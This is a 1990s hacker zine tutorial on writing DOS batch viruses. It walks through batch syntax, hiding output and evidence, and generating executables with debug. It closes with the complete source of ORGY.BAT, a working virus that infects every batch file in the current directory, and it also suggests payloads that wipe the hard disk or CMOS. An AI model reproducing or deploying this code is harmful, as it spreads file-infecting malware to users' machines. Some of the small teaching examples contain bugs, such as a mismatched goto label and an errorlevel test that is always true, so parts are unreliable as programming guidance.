> Ye Olde Art of Ye Batch Viruses
> by E X E - G E N C Y

> Most hackers are quite surprised when I say that it is possible to write viruses is the DOS batch programming language. Although Batch is not the most versatile programming language in the world, it does exhibit the two main aspects the make up conventional programming languages: Control structures and Data.

> Yep, thats right. The Batch programming language included 'for' loops, 'if' statements, 'gotos' and you can also use the 'set' command to declare variables and assign values to them.

> Before I show you a working batch virus and explain how it works, I'm gonna have to go over some of the aspects of Batch programming that you may or may not know.

> Contents

> Basics of Batch programming
> Piping
> 'for' loops
> 'if's and 'goto's
> 'set'ing variables
> Parameters to batch programs
> Including Assembly
> ORGY.BAT Virus source code

> Basics of Batch programming

> Batch programs are ASCII text files that contain a list of DOS commands and can be executed from the command prompt. To make a valid Batch file you must use a simple ASCII text editor (notepad, MS-editor etc.) and save the file with a .BAT extension. To run the Batch file you have just created simply goto the DOS prompt, change to the directory that the program was saved to and then type its name. Below is an example of a simple DOS Batch program. It simply changes to the A: (floppy) drive and displays all the files on it:

>     a:
>     dir

> This batch program was saved as 'display.bat' and displays the following output:

>     C:\>display

>     C:\>a:

>     A:\>dir

>      Volume in drive A has no label
>      Volume Serial Number is 14CF-2B4F
>      Directory of A:\

>     COMMAND  COM        93,890  04-23-99 10:22p COMMAND.COM
>              1 file(s)         93,890 bytes
>              0 dir(s)       1,071,616 bytes free

> Notice how each command is 'echoed' to the screen along with it's output. This is not always desirable (especially not with Batch viruses) and can be overcome by placing the extra line '@echo off' at the top of the Batch program. For example the 'display.bat' program would become:

>     @echo off
>     a:
>     dir

> ...which displays the following output:

>     C:\>display

>      Volume in drive A has no label
>      Volume Serial Number is 14CF-2B4F
>      Directory of A:\

>     COMMAND  COM        93,890  04-23-99 10:22p COMMAND.COM
>              1 file(s)         93,890 bytes
>              0 dir(s)       1,071,616 bytes free

> Notice how the commands like 'a:' and 'dir' are not displayed on the screen although the output is. Supressing the commands in a batch file is extremely useful when writing a virus because you don't exactly want a command like 'format c:' to be displayed. It is also possible to supress the output of a program by using the '>' pipe (you will learn how to do this in the next section.) This is also usful when writing a batch virus as you might want to supress the output of a program.

> Contents

> Piping

> Piping is the process of directing output from a command or program to a file or device and vice versa. To redirect output from a command/program to a file a programmer can use the '>' symbol. For example, to redirect the output from a 'dir' to a file called 'test.txt' use:

>     dir > test.txt

> The file 'test.txt' will be created in the current directory and will store the listing of the current directory. If the file 'test.txt' already exists in the current directory then the original contents will be lost. Also note that the output of the 'dir' command will be outputted to the file only and not the screen.

> It is also possible to append the output of a command to a file by using the '>>'. For example:

>     dir c:\windows > test.txt
>     dir a:\ >> test.txt

> The above batch commands create a file in the current directory called 'test.txt' into which the listings of the 'c:\windows' and 'a:\' direcories are written. The listings of the windows directory are written first before the listings of the diskette drive are appended. Note once again that nothing will be displayed on the screen.

> Although piping the output of a command to a file does prevent the user from knowing what is going on, the evidence is still left in a file for the user to dig up later. A better way to supress the embarrassing output is to send it to the 'nul' device. By sending the output to 'nul' it quite literally disappears (like /dev/null on *nix.) For example the following sends the output of 'dir' to the null device:

>     dir > nul

> It is also possible to send a file as the input to a command or program. This is done using the < symbol. The most obvious example of using this is when a text file is piped to the debug program in order to compile a program. You wil learn more about this here in the section regarding assembly programming.

> For example, if you generated a text file called 'test.asm' that contained the following:

>     n hello.com
>     a 0100 mov ah,09
>     a 0102 mov dx,0109
>     a 0105 int 21
>     a 0107 int 20
>     a 0109 db 'hello world!$
>     rcx
>     16
>     w
>     q

> ...then issued the following command at the DOS prompt or via a batch file:

>     debug < test.asm

> ...And a 22 byte file called 'hello.com' would appear in the current directory. When this file is run it simply uses function 09h of Interrupt 21h to display the message 'hello world!' on the screen.

> Contents

> 'for' loops

> Although in batch programs you can find files using the 'dir' command, a much better method (especially in the realm of virus programming) is to use the 'for' loop. The 'for' loop is used to find files in certain directories (or the current one) and performing operations on them. For example:

>     for %%f in (*.*) do echo There is a file called: %%f

> The above line looks for all files in the current directory and assigns their names to the variable '%%f'. Each time a file is found the message 'There is a file called ' is displayed, followed by the name of the file found.

> 'for' loops can also be used for finding files that are in directories other than the current one. An example of this would be:

>     for %%f in (c:\*.* c:\windows\*.* c:\windows\command\*.*) do copy %%f a:\

> The above line copies all the files from the root, windows and windows\command directories to the A: (floppy) drive.

> Contents

> 'if's and 'goto's

> The DOS programming language contains 2 program control structures besides the 'for' loop. The 'goto' statement can be used for diverting program control from one place in the batch program to another. For example:

>     @echo off
>     goto OverThere
>     echo Hiya!
>     :OverThere

> In the above program, the 'goto' command is used to jump past the echo command and therefore the string 'Hiya!' is never displayed.

> Although 'goto's are normally considered to be poor programming, there is little choice but to use them in DOS batch programs. Although 'if' and 'for' control structures do exist, there is not 'else' or repeating loop ('while...do' or 'repeat...until'.)

> The 'if' command is used to test wether something has occurred or is equal to something else. The 'if' statement can be used to check wether a particular file exists:

>     if exist autoexec.bat echo AUTOEXEC.BAT exists in the current directory
>     if not exist autoexec.bat echo AUTOEXEC.BAT does NOT exists in the current directory

> The above code checks wether the file 'autoexec.bat' exists in the current directory and displays a message accordingly. Two individual 'if' statements are required because there is no 'else' statement in the batch programming language.

> The 'if' statement can also be used to check wether a variable or parameter is equal to a certain value. For example the following program check wether the parameter '/?' is passed to the batch program:

>     @echo off
>     if [%%1]==[/?] goto ShowOptions
>     goto Finish
>     :ShowOptions
>     echo These are the options to this BATCH program:
>     echo /u blah blah blah
>     echo /x blah blah blah
>     :Finish

> 'if' statements can also be used to check the execution of the previous program executed. This is accomplished by checking the 'errorlevel' variable which contains the integer value returned by the last program run. (Most programs return a value to the operating system when it has finished executing or an error has occured and it was forced to abort. Programs normally return 0 (zero) if the program executed properly or returns a non-zero value otherwise.) Consider the following program:

>     @echo off
>     win
>     if errorlevel 0 goto ProgramWasOK
>     echo It appears that Windoze encountered and error and crashed
>     echo Hardly surprising really!
>     goto Finish
>     :ProgramWasOK
>     echo WOW! OMFG! SHOCK! HORROR!
>     echo Windows didn't crash!!!!
>     :Finish

> Contents

> 'set'ing variables

> Although variables do exist in the DOS batch programming language, they are extremely limited. There are no integer, pointer or floating point variable types, only strings.

> Assigning values to variables is accomplished with the 'set' command. For example, to assign create a variable called 'message' and assign it the value 'hello' use:

>     set message=hello

> If you now type:

>     set

> ...you will be presented with a list of all the variables that are currently occupying the environment memory. At the bottom of the list should be your variable:

>     MESSAGE=hello

> It is also possible to concatonate varaibles. For example:

>     set message1=hello
>     set message2=goodbye
>     set message3=%%message1%%john
>     set message4=%%message1%%%%message2%%

> This declares 4 variables. The first 2 are assigned the values 'hello' and 'goodbye' respectively. The 3rd variable is assigned the value of the first variable plus the new string 'john'. Note how the variable 'message1' is surrounded by '%' characters. This tells DOS that it is the name of a variable. The forth variable is assigned the value of the first two. Notice how both 'message1' and 'message2' are surrounded by '%' characters.

> If you were to check all the varaibles in memoery by typing 'set' on its own you would see:

>     MESSAGE1=hello
>     MESSAGE2=goodbye
>     MESSAGE3=hellojohn
>     MESSAGE4=hellogoodbye

> One minor word of warning about variables. Don't use too many of them as you will use up the DOS enviroment space that is reserved for varaibles and other stuff.

> Contents

> Parameters to batch programs

> Like any other kind of program, it is possible to pass parameters to batch programs. The parameters to a batch program are number %%0 to %%9. %%0 is always the name of the .BAT file being executed, %%1 is the first parameter, %%2 is the second parameter and so on.

> Not much more to say about parameters really. Consider the following program:

>     @echo off
>     if [%%1]==[hello] goto hello
>     if [%%1]==[goodbye] goto goodbye
>     if [%%1]==[fuckoff] goto fuckoff
>     goto otherparamter
>     :hello
>     echo hello there!
>     goto finish
>     :goodbye
>     echo cya then!
>     goto finish
>     :fuckyou
>     echo WELL FUCK YOU THEN!
>     goto finish
>     :otherparamter
>     echo You didn't use 'hello', 'goodbye' or 'fuckoff' as a parameter
>     :finish

> Just save the file above as TALK.BAT and run it with the one of the following parameters; 'hello', 'goodbye' or 'fuckoff'.

> Contents

> Including Assembly

> As described in the piping section, it is possible to greate batch programs that use assembly language and the DOS debug program to generate executable files. This is accomplished by piping the output of a bunch of 'echo' commands to a new file then piping that file back into debug. To explain this full consider the following program:

>     @echo off
>     echo N HELLO.COM > hello.scr
>     echo E 0100 B4 09 BA 09 01 CD 21 CD 20 48 65 6C 6C 6F 2C 20 >> hello.scr
>     echo E 0110 77 6F 72 6C 64 21 24 >> hello.scr
>     echo RCX >> hello.scr
>     echo 0017 >> hello.scr
>     echo W >> hello.scr
>     echo Q >> hello.scr
>     debug < hello.scr
>     hello

> The above program creates a debug script file called 'hello.scr' which contains all the commands required by debug to convert it into a .COM file. The script is then piped to debug which results in the creation of the 'hello.com' file. This file is then executed and the string 'hello world!' is displayed.

> Of course it is possible to use debug to create far more malicious executable files. This would be useful if you wished to create a malicious payload that wipes the harddisk, CMOS etc.

> Contents

> ORGY.BAT Virus source code

> Below is the source code to a very simple batch virus. When executed, the virus infects all the .BAT files in the current directory. It doesn't re-infect files but it cannot infect files that are already read-only, system or hidden.

> If you want to experiment with this virus you must first make the virus file ORGY.BAT is read only (with the ATTRIB +R ORGY.BAT treatment.) This prevents the virus from re-infecting itself.

> The virus is named after the american industrial/synth/metal band that supported KoRn on their 1999 Follow the Leader tour.

>     @echo off
>     echo orgy > infect1.bat
>     echo if [%%1]==[infect1.bat] goto DontBother > infect2.bat
>     echo if [%%1]==[infect2.bat] goto DontBother >> infect2.bat
>     echo copy %%1 + infect1.bat %%1 >> infect2.bat
>     echo attrib +r %%1 >> infect2.bat
>     echo :DontBother >> infect2.bat
>     attrib +r infect1.bat
>     attrib +r infect2.bat
>     for %%f in (*.bat) do call infect2 %%f
>     attrib -r infect1.bat
>     attrib -r infect2.bat
>     del infect1.bat
>     del infect2.bat
>     rem ORGY.BAT virus by EXE-Gency/[KrashMag]
>     rem email exegency@hotmail.com

> Contents